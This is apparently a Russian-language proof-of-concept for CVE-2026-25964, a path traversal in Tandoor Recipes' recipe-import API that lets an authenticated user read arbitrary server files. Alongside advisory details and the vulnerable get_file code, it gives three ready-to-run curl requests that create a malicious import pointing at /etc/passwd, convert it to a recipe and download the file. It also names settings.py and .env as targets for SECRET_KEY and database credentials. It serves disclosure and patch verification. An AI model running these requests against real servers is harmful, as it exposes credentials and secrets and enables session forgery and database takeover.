
Доказательство концепции эксплуатации для CVE-2026-25964 — аутентифицированное раскрытие локальных файлов в Tandoor Recipes через path traversal при импорте рецептов, позволяющее произвольное чтение файлов.
Proof-of-Concept для аутентифицированного раскрытия локальных файлов через импорт рецептов
Раскрытие: Изначально сообщено мной через GHSA-6485-jr28-52xx
⚠️ Только для авторизованного пентеста/исследований.
| Поле | Значение |
|---|
| CVE ID | CVE-2026-25964 |
| Серьёзность | 🟡 Средняя |
| Оценка CVSS | 4.9 |
| Вектор CVSS | [CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N] |
| CWE | CWE-22: Path Traversal, CWE-73: Внешний контроль имени файла |
| Затронутый продукт | Tandoor Recipes ≤ 2.5.0 |
| Исправленная версия | 2.5.1 |
| Консультация | GHSA-6485-jr28-52xx |
Некорректно авторизованная уязвимость Path Traversal (CWE-22) в рабочем процессе RecipeImport в Tandoor Recipes позволяет аутентифицированным пользователям с правами импорта читать произвольные файлы на сервере. Эта уязвимость возникает из-за отсутствия проверки входных данных в параметре file_path и недостаточных проверок в бэкенде хранилища Local, что позволяет атакующему обойти ограничения каталога хранилища и получить доступ к конфиденциальным системным файлам (например, /etc/passwd) или файлам конфигурации приложения (например, settings.py), что потенциально может привести к полной компрометации системы.
Уязвимость существует из-за отсутствия проверки предоставленных пользователем данных на соответствие корневому каталогу хранилища приложения.
/api/recipe-import/ позволяет аутентифицированным пользователям создавать объект RecipeImport с произвольным file_path и бэкендом storage. Не выполняется никакой проверки, чтобы убедиться, что file_path находится в пределах настроенного каталога хранилища.Local.get_file в cookbook/provider/local.py обрабатывает запрос на получение файла:
@staticmethod
def get_file(recipe):
# УЯЗВИМОСТЬ: Напрямую открывает путь, указанный в recipe.file_path
# без проверки, что он находится в корневом каталоге хранилища.
file = io.BytesIO(open(recipe.file_path, 'rb').read())
return file
/etc/passwd) или относительные пути (например, ../../app/config.py).Когда объект RecipeImport преобразуется в Recipe через действие import_recipe, вредоносный путь сохраняется. Последующий вызов get_recipe_file запускает уязвимую операцию чтения, возвращая содержимое файла пользователю.
Предварительные требования: Учётная запись аутентифицированного пользователя с правами на импорт рецептов. По умолчанию это разрешение может быть ограничено, но если оно предоставлено ролям с более низкими привилегиями, влияние значительно возрастает. Даже для администраторов это представляет собой нарушение границ безопасности, поскольку разрешения уровня приложения не должны предоставлять доступ на чтение на уровне файловой системы.
Шаг 1: Создание вредоносного объекта импорта
Отправьте POST-запрос для создания объекта RecipeImport, указывающего на целевой файл (например, /etc/passwd).
curl -X POST "http://<TARGET_IP>:8081/api/recipe-import/" \
-b "sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>" \
-H "X-CSRFToken: <CSRF_TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"name": "Admin_LFD_Final",
"file_path": "/etc/passwd",
"storage": 1,
"space": 1
}'
(Примечание: storage: 1 обычно соответствует локальному хранилищу по умолчанию. При необходимости скорректируйте.)

Шаг 2: Преобразование импорта в рецепт
Запустите процесс импорта, чтобы создать постоянный объект Recipe. Обратите внимание на import_id (например, 4), возвращённый на шаге 1.
curl -X POST "http://<TARGET_IP>:8081/api/recipe-import/<IMPORT_ID>/import_recipe/" \
-b "sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>" \
-H "X-CSRFToken: <CSRF_TOKEN>" \
-H "Content-Type: application/json" \
-H "Content-Length: 0"
(Замените <IMPORT_ID> на ID из ответа шага 1. Этот запрос вернёт новый recipe_id (например, 34)

Шаг 3: Загрузка произвольного файла
Получите доступ к файлу через конечную точку файла рецепта, используя новый id рецепта, возвращённый на шаге 2 (например, 34).
curl -X GET "http://<TARGET_IP>:8081/api/get_recipe_file/<RECIPE_ID>/" \
-b "sessionid=<SESSION_ID>"
Результат: Сервер возвращает содержимое /etc/passwd, подтверждая уязвимость LFD.
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...

/etc/passwd позволяет перечислить системных пользователей./opt/recipes/recipes/settings.py (подтверждено при тестировании) или .env. Это раскрывает SECRET_KEY (позволяя подделку сессий) и учётные данные базы данных (позволяя прямой доступ к базе данных).